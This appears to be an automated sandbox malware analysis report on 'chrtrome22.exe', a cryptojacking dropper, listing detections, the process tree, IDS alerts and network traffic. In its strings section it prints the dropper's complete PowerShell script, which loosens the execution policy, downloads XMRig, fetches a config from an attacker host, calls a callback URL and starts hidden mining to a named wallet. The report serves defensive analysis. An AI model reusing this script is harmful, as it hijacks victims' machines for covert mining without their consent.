Edit tour

Windows Analysis Report
chrtrome22.exe

Overview

General Information

Sample name:	chrtrome22.exe
Analysis ID:	1586514
MD5:	ae96b1fb65498cdf458a52bc197466a5
SHA1:	c55f2e200b34d90caddb261b971972c97648402f
SHA256:	7d54679530cec59ef4c71f059c3b6da8f654e2a316fa4689319db0ab35572880
Tags:	CoinMinerexeJalapenomalwaretrojanuser-Joker
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Found strings related to Crypto-Mining

Machine Learning detection for dropped file

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Reads the Security eventlog

Reads the System eventlog

Sample is not signed and drops a device driver

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Sigma detected: Potential PowerShell Execution Policy Tampering

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Yara signature match

Classification

Process Tree

System is w10x64

chrtrome22.exe (PID: 6568 cmdline: "C:\Users\user\Desktop\chrtrome22.exe" MD5: AE96B1FB65498CDF458A52BC197466A5)

conhost.exe (PID: 6544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

xmrig.exe (PID: 2312 cmdline: "C:\xmrig\xmrig-6.22.2\xmrig.exe" --config=C:\xmrig\xmrig-6.22.2\config.json MD5: F6D520AE125F03056C4646C508218D16)

conhost.exe (PID: 2180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\xmrig\xmrig-6.22.2\config.json	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
C:\xmrig\xmrig-6.22.2\xmrig.exe	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
C:\xmrig\xmrig-6.22.2\xmrig.exe	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x586958:$a1: mining.set_target 0x581428:$a2: XMRIG_HOSTNAME 0x583500:$a3: Usage: xmrig [OPTIONS] 0x581400:$a4: XMRIG_VERSION
C:\xmrig\xmrig-6.22.2\xmrig.exe	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x58d3a8:$x1: donate.ssl.xmrig.com 0x58d951:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
C:\xmrig\xmrig-6.22.2\xmrig.exe	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x58de98:$s1: %s/%s (Windows NT %lu.%lu 0x58ef00:$s3: \\.\WinRing0_ 0x5856f8:$s4: pool_wallet 0x580c68:$s5: cryptonight 0x580c78:$s5: cryptonight 0x580c88:$s5: cryptonight 0x580c98:$s5: cryptonight 0x580cb0:$s5: cryptonight 0x580cc0:$s5: cryptonight 0x580cd0:$s5: cryptonight 0x580ce8:$s5: cryptonight 0x580cf8:$s5: cryptonight 0x580d10:$s5: cryptonight 0x580d28:$s5: cryptonight 0x580d38:$s5: cryptonight 0x580d48:$s5: cryptonight 0x580d58:$s5: cryptonight 0x580d70:$s5: cryptonight 0x580d88:$s5: cryptonight 0x580d98:$s5: cryptonight 0x580da8:$s5: cryptonight

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.4117633923.000002B86C509000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000000.1753744579.00007FF641770000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.1755040993.0000000002E19000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000002.4117633923.000002B86C5AC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.1755040993.0000000002E39000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.1755040993.0000000002EF7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000002.4117633923.000002B86C4DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.1755040993.0000000002E25000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.1755040993.0000000002BB0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000002.4117633923.000002B86C52A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.1759218717.000000001D265000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.1755040993.0000000002971000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x160f58:$a1: mining.set_target 0x15ba28:$a2: XMRIG_HOSTNAME 0x15db00:$a3: Usage: xmrig [OPTIONS] 0x15ba00:$a4: XMRIG_VERSION
Process Memory Space: chrtrome22.exe PID: 6568	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: xmrig.exe PID: 2312	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: xmrig.exe PID: 2312	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0xa8f63:$a1: mining.set_target 0xa4dfa:$a2: XMRIG_HOSTNAME 0xa6133:$a3: Usage: xmrig [OPTIONS] 0xa4ddb:$a4: XMRIG_VERSION
Process Memory Space: conhost.exe PID: 2180	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.0.xmrig.exe.7ff640ec0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
2.0.xmrig.exe.7ff640ec0000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x586958:$a1: mining.set_target 0x581428:$a2: XMRIG_HOSTNAME 0x583500:$a3: Usage: xmrig [OPTIONS] 0x581400:$a4: XMRIG_VERSION
2.0.xmrig.exe.7ff640ec0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x58d3a8:$x1: donate.ssl.xmrig.com 0x58d951:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
2.0.xmrig.exe.7ff640ec0000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x58de98:$s1: %s/%s (Windows NT %lu.%lu 0x58ef00:$s3: \\.\WinRing0_ 0x5856f8:$s4: pool_wallet 0x580c68:$s5: cryptonight 0x580c78:$s5: cryptonight 0x580c88:$s5: cryptonight 0x580c98:$s5: cryptonight 0x580cb0:$s5: cryptonight 0x580cc0:$s5: cryptonight 0x580cd0:$s5: cryptonight 0x580ce8:$s5: cryptonight 0x580cf8:$s5: cryptonight 0x580d10:$s5: cryptonight 0x580d28:$s5: cryptonight 0x580d38:$s5: cryptonight 0x580d48:$s5: cryptonight 0x580d58:$s5: cryptonight 0x580d70:$s5: cryptonight 0x580d88:$s5: cryptonight 0x580d98:$s5: cryptonight 0x580da8:$s5: cryptonight

Sigma Signatures

System Summary

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\chrtrome22.exe, ProcessId: 6568, TargetFilename: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zw0o1iqr.gns.ps1

Sigma detected: Potential PowerShell Execution Policy Tampering

Source: Registry Key set

Author: Nasreddine Bencherchali (Nextron Systems): Data: Details: Unrestricted, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\chrtrome22.exe, ProcessId: 6568, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell\ExecutionPolicy

Suricata Signatures

ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T08:42:15.866225+0100	2047928	2	Crypto Currency Mining Activity Detected	192.168.2.4	64014	1.1.1.1	53	UDP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T08:42:10.487254+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	140.82.121.4	443	TCP
2025-01-09T08:42:11.117698+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49731	185.199.110.133	443	TCP
2025-01-09T08:42:14.364879+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49732	172.67.144.26	443	TCP
2025-01-09T08:42:15.520551+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49733	206.189.156.69	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: chrtrome22.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\xmrig\xmrig-6.22.2\xmrig.exe

Avira: detection malicious, Label: HEUR/AGEN.1311679

Multi AV Scanner detection for dropped file

Source: C:\xmrig\xmrig-6.22.2\xmrig.exe

ReversingLabs: Detection: 73%

Multi AV Scanner detection for submitted file

Source: chrtrome22.exe	ReversingLabs: Detection: 63%
Source: chrtrome22.exe	Virustotal: Detection: 58%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Machine Learning detection for dropped file

Source: C:\xmrig\xmrig-6.22.2\xmrig.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: chrtrome22.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 2.0.xmrig.exe.7ff640ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4117633923.000002B86C509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1753744579.00007FF641770000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1755040993.0000000002E19000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4117633923.000002B86C5AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1755040993.0000000002E39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1755040993.0000000002EF7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4117633923.000002B86C4DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1755040993.0000000002E25000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1755040993.0000000002BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4117633923.000002B86C52A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1759218717.000000001D265000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1755040993.0000000002971000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: chrtrome22.exe PID: 6568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xmrig.exe PID: 2312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: conhost.exe PID: 2180, type: MEMORYSTR
Source: Yara match	File source: C:\xmrig\xmrig-6.22.2\config.json, type: DROPPED
Source: Yara match	File source: C:\xmrig\xmrig-6.22.2\xmrig.exe, type: DROPPED

Found strings related to Crypto-Mining

Source: xmrig.exe, 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: stratum+tcp://
Source: xmrig.exe, 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: cryptonight/0
Source: xmrig.exe, 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: stratum+tcp://
Source: xmrig.exe, 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: xmrig.exe, 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: chrtrome22.exe	String found in binary or memory: # Set Execution PolicySet-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted# Variables$xmrigUrl = "https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip"$configUrl = "https://evilbit.pro/config.json"$oastUri = "http://wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun"$downloadPath = "$env:USERPROFILE\Downloads\xmrig.zip"$installPath = "C:\xmrig"$walletAddress = "45Lu4Zzcp64etdoVnc9jSU84WBygC7p5mdrowZic6LVDZERsDszFgcRcF63Gm6kVc7XsvgpvhH36SNfCmUAb1TwbSG7PVTa"$poolUrl = "pool.supportxmr.com:443"$workerName = "MyWorker"# Download XMRigWrite-Host "Downloading XMRig..."Invoke-WebRequest -Uri $xmrigUrl -OutFile $downloadPath -UseBasicParsing# Extract XMRigWrite-Host "Extracting XMRig..."Add-Type -AssemblyName System.IO.Compression.FileSystem[System.IO.Compression.ZipFile]::ExtractToDirectory($downloadPath, $installPath)# Download config.jsonWrite-Host "Downloading config.json..."$configPath = Join-Path $installPath "xmrig-6.22.2\config.json"Invoke-WebRequest -Uri $configUrl -OutFile $configPath -UseBasicParsing# Make GET request to the specified URIWrite-Host "Making GET request to the URI..."Invoke-WebRequest -Uri $oastUri -UseBasicParsing \| Out-Null# Start XMRig in a hidden windowWrite-Host "Starting XMRig in a hidden window..."$xmrigExe = Join-Path $installPath "xmrig-6.22.2\xmrig.exe"Start-Process -FilePath $xmrigExe -ArgumentList "--config=$configPath" -WindowStyle HiddenWrite-Host "XMRig has started mining in a hidden window! Use Task Manager to stop it if needed."

Source: chrtrome22.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.144.26:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: chrtrome22.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002ED8000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.0.dr

Source: Joe Sandbox View	IP Address: 140.82.121.4 140.82.121.4
Source: Joe Sandbox View	IP Address: 185.199.110.133 185.199.110.133
Source: Joe Sandbox View	IP Address: 185.199.110.133 185.199.110.133

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2047928 - Severity 2 - ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com) : 192.168.2.4:64014 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49733 -> 206.189.156.69:80
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 140.82.121.4:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49731 -> 185.199.110.133:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49732 -> 172.67.144.26:443

Source: global traffic	HTTP traffic detected: GET /xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 6.2; en-CH) WindowsPowerShell/5.1.19041.1682Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/88327406/cbb07403-ee0c-4c81-9ded-5d5497635b93?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250109%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250109T074210Z&X-Amz-Expires=300&X-Amz-Signature=14b843eca34096be30cd757c45ce4cc4b792e87b295ec80813503823aca60371&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dxmrig-6.22.2-msvc-win64.zip&response-content-type=application%2Foctet-stream HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 6.2; en-CH) WindowsPowerShell/5.1.19041.1682Host: objects.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 6.2; en-CH) WindowsPowerShell/5.1.19041.1682Host: evilbit.proConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 6.2; en-CH) WindowsPowerShell/5.1.19041.1682Host: wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.funConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 6.2; en-CH) WindowsPowerShell/5.1.19041.1682Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/88327406/cbb07403-ee0c-4c81-9ded-5d5497635b93?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250109%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250109T074210Z&X-Amz-Expires=300&X-Amz-Signature=14b843eca34096be30cd757c45ce4cc4b792e87b295ec80813503823aca60371&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dxmrig-6.22.2-msvc-win64.zip&response-content-type=application%2Foctet-stream HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 6.2; en-CH) WindowsPowerShell/5.1.19041.1682Host: objects.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 6.2; en-CH) WindowsPowerShell/5.1.19041.1682Host: evilbit.proConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 6.2; en-CH) WindowsPowerShell/5.1.19041.1682Host: wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.funConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: evilbit.pro
Source: global traffic	DNS traffic detected: DNS query: wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun
Source: global traffic	DNS traffic detected: DNS query: pool.supportxmr.com

Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002ED8000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.0.dr	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002ED8000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.0.dr	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002ED8000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.0.dr	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002ED8000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.0.dr	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002EF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://evilbit.pro
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002C4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.com
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002C95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://objects.githubusercontent.com
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002971000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: chrtrome22.exe, chrtrome22.exe, 00000000.00000002.1755040993.00000000030C3000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002BB0000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002971000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun
Source: chrtrome22.exe, 00000000.00000002.1755040993.00000000030C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun/
Source: chrtrome22.exe, 00000000.00000002.1755040993.00000000030C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun/p
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002EF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://evilbit.pro
Source: chrtrome22.exe, chrtrome22.exe, 00000000.00000002.1755040993.0000000002EF7000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002BB0000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002971000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://evilbit.pro/config.json
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002BB0000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002971000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002E46000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002E39000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp, pool_mine_example.cmd.0.dr	String found in binary or memory: https://miningpoolstats.stream/monero
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002E68000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002E7C000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp, rtm_ghostrider_example.cmd.0.dr	String found in binary or memory: https://miningpoolstats.stream/raptoreum
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://objects.githubusercontent.com
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002C64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://objects.githubusercontent.com/github-production-release-asset-2e65be/88327406/cbb07403-ee0c-
Source: xmrig.exe, 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp, xmrig.exe.0.dr	String found in binary or memory: https://xmrig.com/benchmark/%s
Source: xmrig.exe, 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp, xmrig.exe.0.dr	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: xmrig.exe, 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp, xmrig.exe.0.dr	String found in binary or memory: https://xmrig.com/wizard
Source: xmrig.exe, 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp, xmrig.exe.0.dr	String found in binary or memory: https://xmrig.com/wizard%s

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.144.26:443 -> 192.168.2.4:49732 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

